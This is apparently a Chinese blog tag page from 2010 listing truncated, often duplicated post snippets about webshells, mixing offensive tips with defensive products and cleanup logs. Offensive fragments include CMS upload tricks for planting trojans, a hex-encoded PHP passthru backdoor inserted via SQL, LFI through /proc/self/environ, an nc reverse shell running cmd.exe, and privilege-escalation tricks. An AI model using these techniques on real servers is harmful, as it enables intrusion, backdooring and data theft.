WebShell

TIPS:Phpcmd2008 GetWebShell

http://www.xxx.com/admin.php?mod=phpcms&file=safe&action=see_code&files=test.php直接在文件源代码里写入木马后，点修改就可以了，test.php马就在根目录下了
hackfreer·2010-12-17 21:16

php扫马、内网查mysql数据库账号密码（内网webshell渗透）

================∷Scanwebshell  body{SCROLLBAR-FACE-COLOR:#719BC5;FONT-SIZE:12px;SCROLLBAR-HIGHLIGHT-COLOR
obnus·2010-12-12 23:55

dedecms后台拿webshell

dedecms在禁止上传任何文件包括图片的时候先把脚本木马成jpg然后传到另外一个站上然后利用文章发布直接填写上图片地址提交会自动把图片下载进服务器然后利用更新首页模板选择马的路径更新为.php就是你的马。
obnus·2010-12-09 23:11

TIPS:Webshell下的越权访问

以后日到旁站shell了你用cmdshell执行一下whoami，如果是networkservices或者iwam_xxxx，那么，恭喜你，可以越权访问了，就算不能写至少也可以去读敏感文件了，比如conn.asp什么的
hackfreer·2010-12-07 16:03

PHP扫FTP\MYSQL\MSSQL\SSH密码的脚本

可以扫FTPMYSQLMSSQLSSH密码比如webshell在linux下。不会在LINUX下渗透。可以试试这个。 
hackfreer·2010-12-04 22:17

Safe3 Web应用防火墙 11.1

不仅能有效扫描各种WebShell，而且可以抵御各种Web攻击。 运行环境：该软件能运行在Windows2000/2003/2008下，支持IIS5/IIS6/IIS7软件主要功能：流量控制。
safe3·2010-12-03 18:43

Safe3 Web应用防火墙 11.1

不仅能有效扫描各种WebShell，而且可以抵御各种Web***。运行环境：该软件能运行在Windows2000/2003/2008下，支持IIS5/IIS6/IIS7软件主要功能：流量控制。
safe3·2010-12-03 18:43

Safe3网页防篡改系统 v3.5

1.网页防挂马   2.防止上传webshellweb后门   3.网页防篡改技术特点1.内核安全规则触发机制，与系统底层无缝衔接，直接拦截网页篡改，无需利用备份文件还原，真正高效的保护网页，杜绝利用备份文件还原时间差
safe3·2010-12-03 18:59

Safe3网页防篡改系统 v3.5

1.网页防挂马   2.防止上传webshellweb后门   3.网页防篡改技术特点1.内核安全规则触发机制，与系统底层无缝衔接，直接拦截网页篡改，无需利用备份文件还原，真正高效的保护网页，杜绝利用备份文件还原时间差
safe3·2010-12-03 18:59

一个PHP webshell检查shell脚本

#Webshell Check Shell for php    4. #By:Neeao    5. #2008/7/17 v1.
n3tl04d·2010-12-03 15:39

查杀webshell记录

网站被注入，由于每个web前端上包含的项目太多，一个htdocs目录下就20几个，查起来也比较头疼。之前也遇到过，但是那次是被上传到图片服务器，那个服务器根本就没有PHP环境，没有造成什么影响。而这次不同，有几个项目不是自己开发的，采用开源的UC-home。摘自:http://blackbap.org/bbs/viewthread.php?tid=1058影响版本:UcenterHome2.0(官
xiancai1987·2010-12-01 17:29

查杀webshell记录

   网站被注入，由于每个web前端上包含的项目太多，一个htdocs目录下就20几个，查起来也比较头疼。之前也遇到过，但是那次是被上传到图片服务器，那个服务器根本就没有PHP环境，没有造成什么影响。而这次不同，有几个项目不是自己开发的，采用开源的UC-home。摘自:http://blackbap.org/bbs/viewthread.php?tid=1058   影响版本:UcenterHom
xiancai1987·2010-12-01 17:29

Shell.Application执行命令的五种方法小结

以下是vbs版本（asp版不提供了，如何利用asp版本在2003的webshell中运行命令，自己解决吧：-）：复制代码代码如下:SetobjShellApp=CreateObject("S
·2010-11-28 19:29

MYSQL提权技巧 分享

如果服务器默认密码不设置就是空密码．黑客们就可能利用该弱口令漏洞．来攻击我们的服务器． 2.如果在得到用户名为：root密码为：（空密码时候），黑客就可以攻击进我们网站的．答案他们利用导出一句话木马． 3.黑客可以得到一个webshell
obnus·2010-11-21 11:55

Linux环境的webshell下备份数据库打包网站

备份数据库：mysqldump-u用户名-p密码数据库>/Dir/sql.bak备份表：mysqldump-u用户名-p密码数据库表>/Dir/biao.bak备份字段：select*fromadmin>/Dir/ziduan.txt备份网站:Rarawangzhan.rar/打包目录/ 
东北de雪·2010-11-19 15:20

windows下的权限设置

 随着动网论坛的广泛应用和动网上传漏洞的被发现以及SQL注入式攻击越来越多的被使用，WEBSHELL让防火墙形同虚设，一台即使打了所有微软补丁、只让80端口对外开放的WEB服务器也逃不过被黑的命运。
the-edge·2010-11-17 15:43

51CTO博客分析测试

 上传了个AspWebshell居然执行了代码，便想到利用它来包含生成PHP一句话。具体说就是利用ASP语句嵌入创建一句话php版代码内容:例：)?
isun0804·2010-11-13 04:34

51CTO博客分析测试

上传了个AspWebshell居然执行了代码，便想到利用它来包含生成PHP一句话。具体说就是利用ASP语句嵌入创建一句话php版代码内容:例：)?
isun0804·2010-11-13 04:34

Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root

#ExploitTitle:Debianbackdoor. --- DROPTABLEIFEXISTS`fm`; CREATETABLE`fm`( `fm`longblob )TYPE=MyISAM; insertintofm(fm)values(0x3c3f20706173737468727528245f4745545b2763275d293b203f3e); selectfm
hackfreer·2010-11-12 07:24

nginx虚拟主机防webshell完美版

我们先来看下nginx.confserver{listen80;server_namewww.a.com;indexindex.htmlindex.htmindex.php;root/data/htdocs/www.a.com/;#limit_conncrawler20;location~.*\.(php|php5)?${#fastcgi_passunix:/tmp/php-cgi.sock;fa
·2010-11-09 22:52

黑客演示网站挂马攻击案例

如果在服务器上对网站目录等做了较严格的权限限制，也是比较容易取得Webshell权限，具有Webshell权限可以对网页文件进行修改，而挂马就是在网页中加入一些代码。这些代码往往是利用浏览器或者应用程
su_guiyang·2010-11-08 22:35

***演示网站挂马***案例

如果在服务器上对网站目录等做了较严格的权限限制，也是比较容易取得Webshell权限，具有Webshell权限可以对网页文件进行修改，而挂马就是在网页中加入一些代码。这些代码往往是利用浏览器或者
su_guiyang·2010-11-08 22:35

7.2以下版本及各uc产品api接口Get webshell漏洞

 http://evilcoda.com/archives/367.htmlhttp://www.oldjun.com/blog/index.php/archives/76/http://www.oldjun.com/blog/index.php/archives/59/
obnus·2010-11-01 22:46

7.2以下版本及各uc产品api接口Get webshell漏洞

 http://evilcoda.com/archives/367.htmlhttp://www.oldjun.com/blog/index.php/archives/76/http://www.oldjun.com/blog/index.php/archives/59/
obnus·2010-11-01 22:46

渗透测试路过两个国家重点单位

无聊得很顺手选了两个网站做下测试以下简称1号与2号1号站国家某科研机构曾获多项专利，大概看了下好像没什么问题，于是发动搜索引擎居然存在线文件编辑器漏洞并且有人已经来过了，进入webshell试了下万能密码结果成功并进行相关分析得出结论
isun0804·2010-11-01 05:03

渗透测试路过两个国家重点单位

无聊得很顺手选了两个网站做下测试以下简称1号与2号1号站国家某科研机构曾获多项专利，大概看了下好像没什么问题，于是发动搜索引擎居然存在线文件编辑器漏洞并且有人已经来过了，进入webshell试了下万能密码结果成功并进行相关分析得出结论
isun0804·2010-11-01 05:03

探究webshell的防删和突破防删

文章作者:蚊虫前几天的前几天看到一个传说中的防删大马,加密过的，解密是时候弄坏了，下载地址又不记得了闲的蛋疼，就琢磨怎么样实现的呢，首先考虑到属性问题删除文件，记得好像是文件操作中写的一种，那么，给文件几只读属性，不就不能写了吗?这里用我N年前写的修改属性的asp,记得是看到某个大马有这功能,然后闲的蛋疼,自己弄了一个。用”sb.Asp”来做测试文件，然后修改属性为只读这个站比较全能，一下子就加好
obnus·2010-10-29 08:24

360本地提权工具

useage:在webshell中找个有运行权限目录上传，然后命令执行360.exe，成功后，3389到服务器，按5下shift，得到一个cmd。权限只要guest即可。
obnus·2010-10-29 08:55

Linux下通过WebShell反弹Shell的技巧

13.2Linux下通过WebShell反弹Shell的技巧Linux下通过WebShell反弹CmdShell，在网站服务器入侵提权过程中的应用比Windows环境下更广更频繁。
seloba·2010-10-27 18:00

反向Telnet突破防火墙封锁

我们可以通过此方法实现突破访问.首先在Win下也就是攻击者的CMD下用NC分别监听80和25端口,这两个端口可以任意改变,只要目标防火墙没有禁止即可.如图: 然后我们可以通过注入漏洞,OS命令执行漏洞或Webshell
hackfreer·2010-10-24 13:11

反向Telnet突破防火墙封锁

我们可以通过此方法实现突破访问.首先在Win下也就是攻击者的CMD下用NC分别监听80和25端口,这两个端口可以任意改变,只要目标防火墙没有禁止即可.如图: 然后我们可以通过注入漏洞,OS命令执行漏洞或Webshell
hackfreer·2010-10-24 13:11

Webshell是什么？

webshell是什么？这是很多朋友在疑惑的问题，什么是webshell？今天我们就讲讲这个话题！webshell是web入侵的脚本攻击工具。
封情·2010-10-07 11:16

Webshell是什么？

webshell是什么？这是很多朋友在疑惑的问题，什么是webshell？今天我们就讲讲这个话题！webshell是web入侵的脚本攻击工具。
封情·2010-10-07 11:16

学习黑客应该注意那些？

1.黑客术语基础：主要把一些常用黑客术语搞清楚，比如什么叫webshell什么叫注入，什么叫旁注，还有一些常用工具的功能，比如nc，sc等等.还有就是当你遇到一个不明白的黑客术语时就应该首先搞清楚这个术语的意思
封情·2010-10-07 00:30

学习黑客应该注意那些？

1.黑客术语基础：主要把一些常用黑客术语搞清楚，比如什么叫webshell什么叫注入，什么叫旁注，还有一些常用工具的功能，比如nc，sc等等.还有就是当你遇到一个不明白的黑客术语时就应该首先搞清楚这个术语的意思
封情·2010-10-07 00:30

Linux利用udev提权

不少朋友老催我写个webshell+udevlocalroot的文章。这周末有点空闲时间，捣鼓了一下。公开的udevexploit有两个。一个是kcope写的SHELL版本，一个是jon写的C版本。
hackfreer·2010-10-06 20:07

Linux利用udev提权

不少朋友老催我写个webshell+udevlocalroot的文章。这周末有点空闲时间，捣鼓了一下。公开的udevexploit有两个。一个是kcope写的SHELL版本，一个是jon写的C版本。
hackfreer·2010-10-06 20:07

LFI通过proc/self/environ直接获取webshell

 第一步：寻找本地包含漏洞首先找到一个可能存在本地包含的文件,去check它比如:    www.website.com/view.php?page=contact.php替换成  www.website.com/view.php?page=../ 我们得到一个错误Warning:include(../)[function.include]:failedtoopenstream:Nosuchfil
hackfreer·2010-10-02 01:21

LFI通过proc/self/environ直接获取webshell

 第一步：寻找本地包含漏洞首先找到一个可能存在本地包含的文件,去check它比如:    www.website.com/view.php?page=contact.php替换成  www.website.com/view.php?page=../ 我们得到一个错误Warning:include(../)[function.include]:failedtoopenstream:Nosuchfil
hackfreer·2010-10-02 01:21

KesionCMS(科讯)上传漏洞与防范方法

首先找到使用科讯系统的网站，注册会员，然后输入KS_editor/selectupfiles，打开后上传x.asp;x.jpg格式的图片文件，如果是iis6架设的站点，可直接拿到网站的Webshell。
佚名·2010-09-30 20:28

eWebEditor安全问题总结

id=”关键字十分重要，有人搜索"eWebEditor-eWebSoft在线编辑器"，根本搜索不到几个~利用eWebEditor获得WebShell的常用步骤：1、确定网站使用了eWeb
obnus·2010-09-30 17:37

python web shell

http://pythonwebshell.appspot.com/interactivegoogle真的很强大，好像也有rubyshell?
·2010-09-10 13:00

解除TCP/IP限制的小技巧

1.用NC反弹得到一个shell本机监听NC-l-p32WEBSHELL运行：x:\xxx\serv-u.exe"x:\xxx\nc.exe-ecmd.exe*.*.*.
佚名·2010-09-07 23:32

webshell

http://code.google.com/p/web-shell/pythonshellongaehttp://code.google.com/p/google-app-engine-samples/
·2010-09-07 13:00

Cacls命令详解

在复杂的入侵过程中我们必须掌握很多的命令,当我们获得webshell后，对于提权来讲这些命令就显示得尤为重要了，首先磁盘分区格式得是NTFS.FAT32是不行的.一、Cacls.exe命令的使用这是一个在
lucklong·2010-08-29 14:47

Cacls命令详解

在复杂的***过程中我们必须掌握很多的命令,当我们获得webshell后，对于提权来讲这些命令就显示得尤为重要了，首先磁盘分区格式得是NTFS.FAT32是不行的.一、Cacls.exe命令的使用这是一个在
lucklong·2010-08-29 14:47

Cacls命令详解

在复杂的入侵过程中我们必须掌握很多的命令,当我们获得webshell后，对于提权来讲这些命令就显示得尤为重要了，首先磁盘分区格式得是NTFS.FAT32是不行的.一、Cacls.exe命令的使用这是一个在
lucklong·2010-08-29 14:47

LINUX下WebShell的查杀

相信每位系统管理所管理的LINUX服务器都中过WebShell之类的木马吧~~很不幸~~前两天我也中了一会奖~~~这里将查杀经验分享给大家现象：服务器上的网页由一个到数个，慢慢全部打不开，输入网址后浏览器显示的是白屏我当时就估计可能是文件被差异了而已代码
star1980·2010-08-24 23:46

LINUX下WebShell的查杀

相信每位系统管理所管理的LINUX服务器都中过WebShell之类的木马吧~~很不幸~~前两天我也中了一会奖~~~这里将查杀经验分享给大家现象：服务器上的网页由一个到数个，慢慢全部打不开，输入网址后浏览器显示的是白屏我当时就估计可能是文件被差异了而已代码
star1980·2010-08-24 23:46

利用环境变量提权

有时候我们在webshell下查看系统变量的时候总能得到一些惊喜，比如系统默认的是Path这个环境变量的值是：%SystemRoot%\system32;%SystemRoot%;%SystemRoot
obnus·2010-08-14 15:35
上一页 52 53 54 55 56 57 58 59 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他